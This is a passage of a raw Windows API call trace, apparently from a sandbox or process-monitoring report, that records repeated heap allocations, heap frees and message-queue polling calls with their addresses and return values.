hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9f08 | out: hHeap=0xe80000) returned 1 [0134.180] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf488 | out: hHeap=0xe80000) returned 1 [0134.180] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077030 | out: hHeap=0xe80000) returned 1 [0134.180] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076f40 | out: hHeap=0xe80000) returned 1 [0134.180] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10770a8 | out: hHeap=0xe80000) returned 1 [0134.181] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf4d8 | out: hHeap=0xe80000) returned 1 [0134.181] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xefc430 | out: hHeap=0xe80000) returned 1 [0134.181] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf4e8 | out: hHeap=0xe80000) returned 1 [0134.181] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf568 | out: hHeap=0xe80000) returned 1 [0134.181] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076ef8 | out: hHeap=0xe80000) returned 1 [0134.181] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.181] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf4c8 [0134.181] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf4c8 | out: hHeap=0xe80000) returned 1 [0134.181] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.181] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeb9f08 [0134.181] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10770a8 [0134.181] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf498 [0134.181] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10770a8 | out: hHeap=0xe80000) returned 1 [0134.181] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x30) returned 0xec32c0 [0134.181] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076ef8 [0134.181] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076fa0 [0134.181] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf5b8 [0134.181] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076fa0 | out: hHeap=0xe80000) returned 1 [0134.181] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076e98 [0134.181] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf5b8 | out: hHeap=0xe80000) returned 1 [0134.181] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.182] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016180 | out: hHeap=0xe80000) returned 1 [0134.182] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.182] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf638 [0134.182] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf478 [0134.182] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055430 [0134.182] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055430 | out: hHeap=0xe80000) returned 1 [0134.183] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf478 | out: hHeap=0xe80000) returned 1 [0134.183] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf638 | out: hHeap=0xe80000) returned 1 [0134.183] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x10160c0 [0134.183] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.183] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10160c0 | out: hHeap=0xe80000) returned 1 [0134.183] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.183] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf4e8 [0134.183] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf5c8 [0134.184] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10555d0 [0134.184] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10555d0 | out: hHeap=0xe80000) returned 1 [0134.184] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf5c8 | out: hHeap=0xe80000) returned 1 [0134.184] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf4e8 | out: hHeap=0xe80000) returned 1 [0134.184] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015d40 [0134.184] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.184] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015d40 | out: hHeap=0xe80000) returned 1 [0134.184] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.184] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeb9b70 [0134.185] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076e50 [0134.185] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf458 [0134.185] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf478 [0134.185] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10557b0 [0134.185] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf488 [0134.185] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10556b0 [0134.185] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf488 | out: hHeap=0xe80000) returned 1 [0134.185] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10556b0 | out: hHeap=0xe80000) returned 1 [0134.185] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10557b0 | out: hHeap=0xe80000) returned 1 [0134.185] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf478 | out: hHeap=0xe80000) returned 1 [0134.185] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf458 | out: hHeap=0xe80000) returned 1 [0134.185] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077078 [0134.185] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeb9a58 [0134.185] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf608 [0134.185] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076eb0 [0134.185] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077078 | out: hHeap=0xe80000) returned 1 [0134.185] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076e50 | out: hHeap=0xe80000) returned 1 [0134.186] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9b70 | out: hHeap=0xe80000) returned 1 [0134.186] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9a58 | out: hHeap=0xe80000) returned 1 [0134.186] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf608 | out: hHeap=0xe80000) returned 1 [0134.186] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076eb0 | out: hHeap=0xe80000) returned 1 [0134.186] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.186] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.186] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf488 [0134.186] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf598 [0134.187] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10557d0 [0134.187] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10557d0 | out: hHeap=0xe80000) returned 1 [0134.187] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf598 | out: hHeap=0xe80000) returned 1 [0134.187] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf488 | out: hHeap=0xe80000) returned 1 [0134.187] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015e40 [0134.187] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.187] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015e40 | out: hHeap=0xe80000) returned 1 [0134.187] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.187] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf508 [0134.187] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf5f8 [0134.188] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0134.188] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0134.188] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf5f8 | out: hHeap=0xe80000) returned 1 [0134.188] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf508 | out: hHeap=0xe80000) returned 1 [0134.188] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016180 [0134.188] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0134.188] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf4b8 [0134.188] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeb9c88 [0134.188] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076f88 [0134.188] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf518 [0134.188] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076ec8 [0134.188] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf528 [0134.188] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055490 [0134.188] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076f40 [0134.188] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077018 [0134.188] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf4d8 [0134.189] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf4f8 [0134.189] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeb9cb0 [0134.189] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077018 | out: hHeap=0xe80000) returned 1 [0134.189] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf4d8 | out: hHeap=0xe80000) returned 1 [0134.189] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076f40 | out: hHeap=0xe80000) returned 1 [0134.189] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076fe8 [0134.189] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076fe8 | out: hHeap=0xe80000) returned 1 [0134.189] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055490 | out: hHeap=0xe80000) returned 1 [0134.189] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf528 | out: hHeap=0xe80000) returned 1 [0134.189] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf518 | out: hHeap=0xe80000) returned 1 [0134.189] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077078 [0134.189] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf598 [0134.189] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf598 | out: hHeap=0xe80000) returned 1 [0134.189] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x14) returned 0x1055470 [0134.189] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf4c8 [0134.189] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeb9cd8 [0134.189] CharLowerBuffW (in: lpsz="byte[415232]", cchLength=0xc | out: lpsz="byte[415232]") returned 0xc [0134.190] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x24) returned 0x107d2e0 [0134.190] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10770a8 [0134.190] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf578 [0134.190] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077048 [0134.190] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf558 [0134.190] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076e20 [0134.190] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf598 [0134.190] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076fa0 [0134.190] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf508 [0134.190] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076fa0 | out: hHeap=0xe80000) returned 1 [0134.190] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf508 | out: hHeap=0xe80000) returned 1 [0134.190] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076e20 | out: hHeap=0xe80000) returned 1 [0134.190] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf598 | out: hHeap=0xe80000) returned 1 [0134.190] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077048 | out: hHeap=0xe80000) returned 1 [0134.190] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf558 | out: hHeap=0xe80000) returned 1 [0134.191] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9cd8 | out: hHeap=0xe80000) returned 1 [0134.191] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf4c8 | out: hHeap=0xe80000) returned 1 [0134.191] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9cb0 | out: hHeap=0xe80000) returned 1 [0134.191] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf4f8 | out: hHeap=0xe80000) returned 1 [0134.191] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076ec8 | out: hHeap=0xe80000) returned 1 [0134.191] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076f88 | out: hHeap=0xe80000) returned 1 [0134.191] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077078 | out: hHeap=0xe80000) returned 1 [0134.192] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9c88 | out: hHeap=0xe80000) returned 1 [0134.192] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf4b8 | out: hHeap=0xe80000) returned 1 [0134.192] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x14) returned 0x10556f0 [0134.192] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x24) returned 0x107d070 [0134.192] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076eb0 [0134.192] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf638 [0134.192] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10770a8 | out: hHeap=0xe80000) returned 1 [0134.192] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf578 | out: hHeap=0xe80000) returned 1 [0134.192] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x107d2e0 | out: hHeap=0xe80000) returned 1 [0134.192] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055470 | out: hHeap=0xe80000) returned 1 [0134.193] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016180 | out: hHeap=0xe80000) returned 1 [0134.193] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016140 | out: hHeap=0xe80000) returned 1 [0134.194] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x14) returned 0x1055790 [0134.194] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x24) returned 0x107d220 [0134.194] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076dd8 [0134.194] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf648 [0134.194] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076eb0 | out: hHeap=0xe80000) returned 1 [0134.194] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf638 | out: hHeap=0xe80000) returned 1 [0134.194] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x107d070 | out: hHeap=0xe80000) returned 1 [0134.194] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10556f0 | out: hHeap=0xe80000) returned 1 [0134.195] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1068038 | out: hHeap=0xe80000) returned 1 [0134.259] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c28 | out: hHeap=0xe80000) returned 1 [0134.259] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076d60 | out: hHeap=0xe80000) returned 1 [0134.259] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec31a8 | out: hHeap=0xe80000) returned 1 [0134.259] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf438 | out: hHeap=0xe80000) returned 1 [0134.259] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9e90 | out: hHeap=0xe80000) returned 1 [0134.259] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c58 | out: hHeap=0xe80000) returned 1 [0134.259] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076bc8 | out: hHeap=0xe80000) returned 1 [0134.259] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3b8 | out: hHeap=0xe80000) returned 1 [0134.260] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1898 | out: hHeap=0xe80000) returned 1 [0134.260] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076e98 | out: hHeap=0xe80000) returned 1 [0134.260] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076ef8 | out: hHeap=0xe80000) returned 1 [0134.261] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec32c0 | out: hHeap=0xe80000) returned 1 [0134.261] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf498 | out: hHeap=0xe80000) returned 1 [0134.261] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9f08 | out: hHeap=0xe80000) returned 1 [0134.261] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076e80 | out: hHeap=0xe80000) returned 1 [0134.261] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076f10 | out: hHeap=0xe80000) returned 1 [0134.261] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec2fe8 | out: hHeap=0xe80000) returned 1 [0134.261] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf468 | out: hHeap=0xe80000) returned 1 [0134.261] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9f30 | out: hHeap=0xe80000) returned 1 [0134.261] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b20 | out: hHeap=0xe80000) returned 1 [0134.261] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b08 | out: hHeap=0xe80000) returned 1 [0134.261] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec2fb0 | out: hHeap=0xe80000) returned 1 [0134.261] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf448 | out: hHeap=0xe80000) returned 1 [0134.261] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9b48 | out: hHeap=0xe80000) returned 1 [0134.261] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076fd0 | out: hHeap=0xe80000) returned 1 [0134.262] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec31e0 | out: hHeap=0xe80000) returned 1 [0134.262] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf588 | out: hHeap=0xe80000) returned 1 [0134.262] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9af8 | out: hHeap=0xe80000) returned 1 [0134.262] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076ac0 | out: hHeap=0xe80000) returned 1 [0134.262] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec3020 | out: hHeap=0xe80000) returned 1 [0134.262] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf5a8 | out: hHeap=0xe80000) returned 1 [0134.263] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9c60 | out: hHeap=0xe80000) returned 1 [0134.263] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076dc0 | out: hHeap=0xe80000) returned 1 [0134.263] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec3250 | out: hHeap=0xe80000) returned 1 [0134.263] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf618 | out: hHeap=0xe80000) returned 1 [0134.264] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9be8 | out: hHeap=0xe80000) returned 1 [0134.264] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076d78 | out: hHeap=0xe80000) returned 1 [0134.264] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9bc0 | out: hHeap=0xe80000) returned 1 [0134.264] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3f8 | out: hHeap=0xe80000) returned 1 [0134.264] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9aa8 | out: hHeap=0xe80000) returned 1 [0134.264] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076d30 | out: hHeap=0xe80000) returned 1 [0134.264] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076bf8 | out: hHeap=0xe80000) returned 1 [0134.264] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9c38 | out: hHeap=0xe80000) returned 1 [0134.265] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0134.265] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9b20 | out: hHeap=0xe80000) returned 1 [0134.265] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076d90 | out: hHeap=0xe80000) returned 1 [0134.265] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec3170 | out: hHeap=0xe80000) returned 1 [0134.265] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf378 | out: hHeap=0xe80000) returned 1 [0134.266] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9eb8 | out: hHeap=0xe80000) returned 1 [0134.266] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c88 | out: hHeap=0xe80000) returned 1 [0134.266] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076bb0 | out: hHeap=0xe80000) returned 1 [0134.266] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076d48 | out: hHeap=0xe80000) returned 1 [0134.266] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3e8 | out: hHeap=0xe80000) returned 1 [0134.267] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1870 | out: hHeap=0xe80000) returned 1 [0134.267] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076be0 | out: hHeap=0xe80000) returned 1 [0134.267] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c10 | out: hHeap=0xe80000) returned 1 [0134.267] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9e40 | out: hHeap=0xe80000) returned 1 [0134.268] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf368 | out: hHeap=0xe80000) returned 1 [0134.268] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec18e8 | out: hHeap=0xe80000) returned 1 [0134.268] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076ad8 | out: hHeap=0xe80000) returned 1 [0134.268] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076cb8 | out: hHeap=0xe80000) returned 1 [0134.268] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076ca0 | out: hHeap=0xe80000) returned 1 [0134.268] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf288 | out: hHeap=0xe80000) returned 1 [0134.269] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec17f8 | out: hHeap=0xe80000) returned 1 [0134.269] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076ce8 | out: hHeap=0xe80000) returned 1 [0134.269] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076cd0 | out: hHeap=0xe80000) returned 1 [0134.269] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3c8 | out: hHeap=0xe80000) returned 1 [0134.270] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9ee0 | out: hHeap=0xe80000) returned 1 [0134.270] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076e08 | out: hHeap=0xe80000) returned 1 [0134.270] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9c10 | out: hHeap=0xe80000) returned 1 [0134.270] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf628 | out: hHeap=0xe80000) returned 1 